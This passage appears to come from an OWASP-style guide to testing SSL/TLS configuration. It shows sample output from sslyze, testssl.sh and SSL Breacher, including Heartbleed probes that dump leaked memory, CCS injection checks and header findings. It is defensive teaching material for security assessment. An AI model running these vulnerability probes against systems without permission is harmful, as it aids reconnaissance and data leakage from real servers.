TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak/Insecure Hashing Algorithm (MD2, MD4, MD5, SHA1)<br />
#SSLv2 support<br />
#Weak ciphers check (Low, Anon, Null, Export)<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Surf Jacking<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/login.php<br />
<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Path : /login.php<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<html><br />
<head><br />
<title>Login page </title><br />
</head><br />
<body><br />
<script src="http://othersite/test.js"></script><br />
<br />
<link rel="stylesheet" type="text/css" href="http://somesite/test.css"><br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[!] HTTP elements embedded in SSL page: PRESENT<br />
[!] Vulnerable to MITM malicious content injection attack<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- HTTP RESOURCES EMBEDDED ---------------<br />
- http://othersite/test.js<br />
- http://somesite/test.css<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
Robust Solution:<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...<br />
<br />
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES<br />
[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 200 OK<br />
Date: Wed, 23 Jul 2014 13:48:07 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure<br />
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/<br />
Content-Length: 193<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
